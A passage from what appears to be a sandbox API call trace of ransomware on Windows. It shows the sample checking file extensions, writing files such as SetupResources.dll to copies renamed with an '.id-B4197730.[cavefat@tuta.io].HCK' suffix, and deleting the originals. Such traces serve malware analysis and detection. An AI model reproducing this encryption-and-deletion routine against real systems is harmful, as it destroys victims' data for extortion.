1 [0148.431] lstrlenW (lpString=".xlsx") returned 5 [0148.431] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.431] lstrlenW (lpString=".ppt") returned 4 [0148.431] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0148.431] lstrlenW (lpString=".zip") returned 4 [0148.431] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.431] lstrlenW (lpString=".rar") returned 4 [0148.431] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.431] lstrlenW (lpString=".bz2") returned 4 [0148.431] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.431] lstrlenW (lpString=".7z") returned 3 [0148.431] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0148.431] lstrlenW (lpString=".dbf") returned 4 [0148.431] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0148.431] lstrlenW (lpString=".1cd") returned 4 [0148.431] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0148.431] lstrlenW (lpString=".jpg") returned 4 [0148.431] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0148.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0148.431] lstrlenW (lpString=".doc") returned 4 [0148.431] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.431] lstrlenW (lpString=".docx") returned 5 [0148.431] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.431] lstrlenW (lpString=".pdf") returned 4 [0148.431] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.431] lstrlenW (lpString=".xls") returned 4 [0148.431] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.431] lstrlenW (lpString=".xlsx") returned 5 [0148.431] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.431] lstrlenW (lpString=".ppt") returned 4 [0148.431] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0148.431] lstrlenW (lpString=".zip") returned 4 [0148.431] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.431] lstrlenW (lpString=".rar") returned 4 [0148.431] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.431] lstrlenW (lpString=".bz2") returned 4 [0148.431] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.431] lstrlenW (lpString=".7z") returned 3 [0148.431] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0148.431] lstrlenW (lpString=".dbf") returned 4 [0148.431] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0148.431] lstrlenW (lpString=".1cd") returned 4 [0148.432] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0148.432] lstrlenW (lpString=".jpg") returned 4 [0148.432] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.432] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.432] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.432] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.433] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=18264) returned 1 [0148.433] CloseHandle (hObject=0x2fc) returned 1 [0148.433] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0148.433] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.433] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.433] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.433] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.433] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.435] GetLastError () returned 0x0 [0148.435] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x4758, lpOverlapped=0x0) returned 1 [0148.437] WriteFile (in: hFile=0x2f8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x4760, lpOverlapped=0x0) returned 1 [0148.437] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.437] WriteFile (in: hFile=0x2f8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.438] SetEndOfFile (hFile=0x2f8) returned 1 [0148.438] CloseHandle (hObject=0x2f8) returned 1 [0148.439] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.439] SetEndOfFile (hFile=0x2fc) returned 1 [0148.439] CloseHandle (hObject=0x2fc) returned 1 [0148.439] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.440] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0148.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0148.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0148.440] lstrlenW (lpString=".doc") returned 4 [0148.440] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.440] lstrlenW (lpString=".docx") returned 5 [0148.440] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.440] lstrlenW (lpString=".pdf") returned 4 [0148.440] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.440] lstrlenW (lpString=".xls") returned 4 [0148.440] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.440] lstrlenW (lpString=".xlsx") returned 5 [0148.440] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.440] lstrlenW (lpString=".ppt") returned 4 [0148.440] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0148.440] lstrlenW (lpString=".zip") returned 4 [0148.440] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.440] lstrlenW (lpString=".rar") returned 4 [0148.440] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.440] lstrlenW (lpString=".bz2") returned 4 [0148.440] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.440] lstrlenW (lpString=".7z") returned 3 [0148.440] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0148.440] lstrlenW (lpString=".dbf") returned 4 [0148.440] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0148.440] lstrlenW (lpString=".1cd") returned 4 [0148.440] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0148.441] lstrlenW (lpString=".jpg") returned 4 [0148.441] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0148.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0148.441] lstrlenW (lpString=".doc") returned 4 [0148.441] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.441] lstrlenW (lpString=".docx") returned 5 [0148.441] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.441] lstrlenW (lpString=".pdf") returned 4 [0148.441] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.441] lstrlenW (lpString=".xls") returned 4 [0148.441] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.441] lstrlenW (lpString=".xlsx") returned 5 [0148.441] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.441] lstrlenW (lpString=".ppt") returned 4 [0148.441] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0148.441] lstrlenW (lpString=".zip") returned 4 [0148.441] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.441] lstrlenW (lpString=".rar") returned 4 [0148.441] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.441] lstrlenW (lpString=".bz2") returned 4 [0148.441] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.441] lstrlenW (lpString=".7z") returned 3 [0148.441] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0148.441] lstrlenW (lpString=".dbf") returned 4 [0148.441] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0148.441] lstrlenW (lpString=".1cd") returned 4 [0148.441] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0148.441] lstrlenW (lpString=".jpg") returned 4 [0148.441] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.441] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.441] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.441] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.452] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=15704) returned 1 [0148.452] CloseHandle (hObject=0x2fc) returned 1 [0148.452] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0148.452] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.452] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.453] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.453] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.453] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.165] GetLastError () returned 0x0 [0149.165] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x3d58, lpOverlapped=0x0) returned 1 [0149.203] WriteFile (in: hFile=0x370, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x3d60, lpOverlapped=0x0) returned 1 [0149.204] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.204] WriteFile (in: hFile=0x370, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xf8, lpOverlapped=0x0) returned 1 [0149.204] SetEndOfFile (hFile=0x370) returned 1 [0149.204] CloseHandle (hObject=0x370) returned 1 [0149.205] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.205] SetEndOfFile (hFile=0x2fc) returned 1 [0149.206] CloseHandle (hObject=0x2fc) returned 1 [0149.206] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.206] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0149.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0149.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0149.207] lstrlenW (lpString=".doc") returned 4 [0149.207] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.207] lstrlenW (lpString=".docx") returned 5 [0149.207] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0149.207] lstrlenW (lpString=".pdf") returned 4 [0149.207] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.207] lstrlenW (lpString=".xls") returned 4 [0149.207] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.207] lstrlenW (lpString=".xlsx") returned 5 [0149.207] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0149.207] lstrlenW (lpString=".ppt") returned 4 [0149.207] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0149.207] lstrlenW (lpString=".zip") returned 4 [0149.207] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.207] lstrlenW (lpString=".rar") returned 4 [0149.207] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.207] lstrlenW (lpString=".bz2") returned 4 [0149.207] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.207] lstrlenW (lpString=".7z") returned 3 [0149.207] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0149.207] lstrlenW (lpString=".dbf") returned 4 [0149.207] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0149.207] lstrlenW (lpString=".1cd") returned 4 [0149.207] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0149.207] lstrlenW (lpString=".jpg") returned 4 [0149.207] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0149.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0149.207] lstrlenW (lpString=".doc") returned 4 [0149.207] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.207] lstrlenW (lpString=".docx") returned 5 [0149.207] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0149.207] lstrlenW (lpString=".pdf") returned 4 [0149.207] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.207] lstrlenW (lpString=".xls") returned 4 [0149.207] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.208] lstrlenW (lpString=".xlsx") returned 5 [0149.208] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0149.208] lstrlenW (lpString=".ppt") returned 4 [0149.208] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0149.208] lstrlenW (lpString=".zip") returned 4 [0149.208] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.208] lstrlenW (lpString=".rar") returned 4 [0149.208] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.208] lstrlenW (lpString=".bz2") returned 4 [0149.208] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.208] lstrlenW (lpString=".7z") returned 3 [0149.208] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0149.208] lstrlenW (lpString=".dbf") returned 4 [0149.208] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0149.208] lstrlenW (lpString=".1cd") returned 4 [0149.208] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0149.208] lstrlenW (lpString=".jpg") returned 4 [0149.208] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.208] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.208] lstrlenW (lpString="SysReqNotMet.ico") returned 16 [0149.208] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0149.208] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1150) returned 1 [0149.208] CloseHandle (hObject=0x2fc) returned 1 [0149.208] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0149.209] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0149.209] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.209] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.209] GetLastError () returned 0x0 [0149.209] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x47e, lpOverlapped=0x0) returned 1 [0149.210] WriteFile (in: hFile=0x370, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x480, lpOverlapped=0x0) returned 1 [0149.211] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.211] WriteFile (in: hFile=0x370, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xf4, lpOverlapped=0x0) returned 1 [0149.211] SetEndOfFile (hFile=0x370) returned 1 [0149.211] CloseHandle (hObject=0x370) returned 1 [0149.212] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.212] SetEndOfFile (hFile=0x2fc) returned 1 [0149.213] CloseHandle (hObject=0x2fc) returned 1 [0149.213] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.213] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0149.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0149.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0149.213] lstrlenW (lpString=".doc") returned 4 [0149.213] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.213] lstrlenW (lpString=".docx") returned 5 [0149.213] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0149.213] lstrlenW (lpString=".pdf") returned 4 [0149.213] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.213] lstrlenW (lpString=".xls") returned 4 [0149.213] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.213] lstrlenW (lpString=".xlsx") returned 5 [0149.214] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0149.214] lstrlenW (lpString=".ppt") returned 4 [0149.214] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0149.214] lstrlenW (lpString=".zip") returned 4 [0149.214] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.214] lstrlenW (lpString=".rar") returned 4 [0149.214] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.214] lstrlenW (lpString=".bz2") returned 4 [0149.214] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.214] lstrlenW (lpString=".7z") returned 3 [0149.214] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0149.214] lstrlenW (lpString=".dbf") returned 4 [0149.214] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0149.214] lstrlenW (lpString=".1cd") returned 4 [0149.214] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0149.214] lstrlenW (lpString=".jpg") returned 4 [0149.214] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0149.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0149.214] lstrlenW (lpString=".doc") returned 4 [0149.214] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.214] lstrlenW (lpString=".docx") returned 5 [0149.214] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0149.214] lstrlenW (lpString=".pdf") returned 4 [0149.214] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.214] lstrlenW (lpString=".xls") returned 4 [0149.214] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.214] lstrlenW (lpString=".xlsx") returned 5 [0149.214] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0149.214] lstrlenW (lpString=".ppt") returned 4 [0149.214] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0149.214] lstrlenW (lpString=".zip") returned 4 [0149.214] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.214] lstrlenW 